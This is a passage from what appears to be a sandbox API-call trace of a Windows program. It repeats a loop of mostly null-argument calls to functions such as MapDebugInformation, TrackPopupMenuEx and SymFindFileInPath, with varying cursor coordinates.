FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.786] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.786] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=140, param_4=148, param_5=0x0, param_6=0x0) returned 0 [0218.786] GetLastError () returned 0x579 [0218.786] SetLastError (dwErrCode=0x579) [0218.786] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.786] SymCleanup (hProcess=0x0) returned 0 [0218.786] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.786] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.786] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.786] GetLastError () returned 0x579 [0218.786] SetLastError (dwErrCode=0x579) [0218.786] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.786] SymCleanup (hProcess=0x0) returned 0 [0218.786] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.786] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.787] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.787] GetLastError () returned 0x579 [0218.787] SetLastError (dwErrCode=0x579) [0218.787] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.787] SymCleanup (hProcess=0x0) returned 0 [0218.787] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.787] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.787] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.787] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.787] GetLastError () returned 0x579 [0218.787] SetLastError (dwErrCode=0x579) [0218.787] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.787] SymCleanup (hProcess=0x0) returned 0 [0218.787] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.787] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.787] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.787] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.787] GetLastError () returned 0x579 [0218.787] SetLastError (dwErrCode=0x579) [0218.787] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.787] SymCleanup (hProcess=0x0) returned 0 [0218.787] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.787] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.787] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.788] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1416, param_4=178, param_5=0x0, param_6=0x0) returned 0 [0218.788] GetLastError () returned 0x579 [0218.788] SetLastError (dwErrCode=0x579) [0218.788] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.788] SymCleanup (hProcess=0x0) returned 0 [0218.788] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.788] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.788] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.788] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.788] GetLastError () returned 0x579 [0218.788] SetLastError (dwErrCode=0x579) [0218.788] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.788] SymCleanup (hProcess=0x0) returned 0 [0218.788] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.788] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.788] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.788] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.788] GetLastError () returned 0x579 [0218.788] SetLastError (dwErrCode=0x579) [0218.788] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.788] SymCleanup (hProcess=0x0) returned 0 [0218.788] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.788] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.788] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.789] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.789] GetLastError () returned 0x579 [0218.789] SetLastError (dwErrCode=0x579) [0218.789] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.789] SymCleanup (hProcess=0x0) returned 0 [0218.789] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.789] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.789] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.789] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.789] GetLastError () returned 0x579 [0218.789] SetLastError (dwErrCode=0x579) [0218.789] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.789] SymCleanup (hProcess=0x0) returned 0 [0218.789] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.789] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.789] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.789] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1002, param_4=180, param_5=0x0, param_6=0x0) returned 0 [0218.789] GetLastError () returned 0x579 [0218.789] SetLastError (dwErrCode=0x579) [0218.789] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.789] SymCleanup (hProcess=0x0) returned 0 [0218.789] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.789] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.789] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.790] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.790] GetLastError () returned 0x579 [0218.790] SetLastError (dwErrCode=0x579) [0218.790] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.790] SymCleanup (hProcess=0x0) returned 0 [0218.790] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.790] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.790] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.790] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.790] GetLastError () returned 0x579 [0218.790] SetLastError (dwErrCode=0x579) [0218.790] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.790] SymCleanup (hProcess=0x0) returned 0 [0218.790] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.790] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.790] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.791] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.791] GetLastError () returned 0x579 [0218.791] SetLastError (dwErrCode=0x579) [0218.791] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.791] SymCleanup (hProcess=0x0) returned 0 [0218.791] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.791] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.791] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.791] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.791] GetLastError () returned 0x579 [0218.791] SetLastError (dwErrCode=0x579) [0218.791] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.791] SymCleanup (hProcess=0x0) returned 0 [0218.791] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.791] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.791] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.791] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=781, param_4=492, param_5=0x0, param_6=0x0) returned 0 [0218.791] GetLastError () returned 0x579 [0218.791] SetLastError (dwErrCode=0x579) [0218.791] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.791] SymCleanup (hProcess=0x0) returned 0 [0218.791] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.791] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.791] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.792] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.792] GetLastError () returned 0x579 [0218.792] SetLastError (dwErrCode=0x579) [0218.792] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.792] SymCleanup (hProcess=0x0) returned 0 [0218.792] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.792] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.792] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.792] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.792] GetLastError () returned 0x579 [0218.792] SetLastError (dwErrCode=0x579) [0218.792] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.792] SymCleanup (hProcess=0x0) returned 0 [0218.792] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.792] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.792] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.792] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.792] GetLastError () returned 0x579 [0218.792] SetLastError (dwErrCode=0x579) [0218.792] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.792] SymCleanup (hProcess=0x0) returned 0 [0218.792] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.792] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.792] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.793] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.793] GetLastError () returned 0x579 [0218.793] SetLastError (dwErrCode=0x579) [0218.793] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.793] SymCleanup (hProcess=0x0) returned 0 [0218.793] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.793] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.793] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.793] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1165, param_4=512, param_5=0x0, param_6=0x0) returned 0 [0218.793] GetLastError () returned 0x579 [0218.793] SetLastError (dwErrCode=0x579) [0218.793] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.793] SymCleanup (hProcess=0x0) returned 0 [0218.793] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.793] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.793] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.793] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.793] GetLastError () returned 0x579 [0218.793] SetLastError (dwErrCode=0x579) [0218.793] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.793] SymCleanup (hProcess=0x0) returned 0 [0218.793] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.793] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.793] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.794] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.794] GetLastError () returned 0x579 [0218.794] SetLastError (dwErrCode=0x579) [0218.794] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.794] SymCleanup (hProcess=0x0) returned 0 [0218.794] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.794] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.794] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.794] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.794] GetLastError () returned 0x579 [0218.794] SetLastError (dwErrCode=0x579) [0218.794] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.794] SymCleanup (hProcess=0x0) returned 0 [0218.794] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.794] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.794] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.794] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.794] GetLastError () returned 0x579 [0218.794] SetLastError (dwErrCode=0x579) [0218.794] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.794] SymCleanup (hProcess=0x0) returned 0 [0218.794] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.794] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.794] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.795] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=260, param_4=296, param_5=0x0, param_6=0x0) returned 0 [0218.795] GetLastError () returned 0x579 [0218.795] SetLastError (dwErrCode=0x579) [0218.795] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.795] SymCleanup (hProcess=0x0) returned 0 [0218.795] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.795] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.795] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.795] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.795] GetLastError () returned 0x579 [0218.795] SetLastError (dwErrCode=0x579) [0218.795] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.795] SymCleanup (hProcess=0x0) returned 0 [0218.795] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.795] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.795] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.795] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.795] GetLastError () returned 0x579 [0218.795] SetLastError (dwErrCode=0x579) [0218.795] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.795] SymCleanup (hProcess=0x0) returned 0 [0218.795] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.795] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.795] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.796] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.796] GetLastError () returned 0x579 [0218.796] SetLastError (dwErrCode=0x579) [0218.796] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.796] SymCleanup (hProcess=0x0) returned 0 [0218.796] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.796] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.796] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.796] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.796] GetLastError () returned 0x579 [0218.796] SetLastError (dwErrCode=0x579) [0218.796] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.796] SymCleanup (hProcess=0x0) returned 0 [0218.796] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.796] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.796] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.796] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=335, param_4=547, param_5=0x0, param_6=0x0) returned 0 [0218.796] GetLastError () returned 0x579 [0218.796] SetLastError (dwErrCode=0x579) [0218.796] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.796] SymCleanup (hProcess=0x0) returned 0 [0218.796] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.796] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.796] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.797] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.797] GetLastError () returned 0x579 [0218.797] SetLastError (dwErrCode=0x579) [0218.797] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.797] SymCleanup (hProcess=0x0) returned 0 [0218.797] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.797] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.797] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.797] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.797] GetLastError () returned 0x579 [0218.797] SetLastError (dwErrCode=0x579) [0218.797] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.797] SymCleanup (hProcess=0x0) returned 0 [0218.797] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.797] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.797] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.797] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.797] GetLastError () returned 0x579 [0218.797] SetLastError (dwErrCode=0x579) [0218.797] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.797] SymCleanup (hProcess=0x0) returned 0 [0218.797] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.797] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.797] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.798] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.798] GetLastError () returned 0x579 [0218.798] SetLastError (dwErrCode=0x579) [0218.798] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.798] SymCleanup (hProcess=0x0) returned 0 [0218.798] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.798] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.798] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.798] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=354, param_4=452, param_5=0x0, param_6=0x0) returned 0 [0218.798] 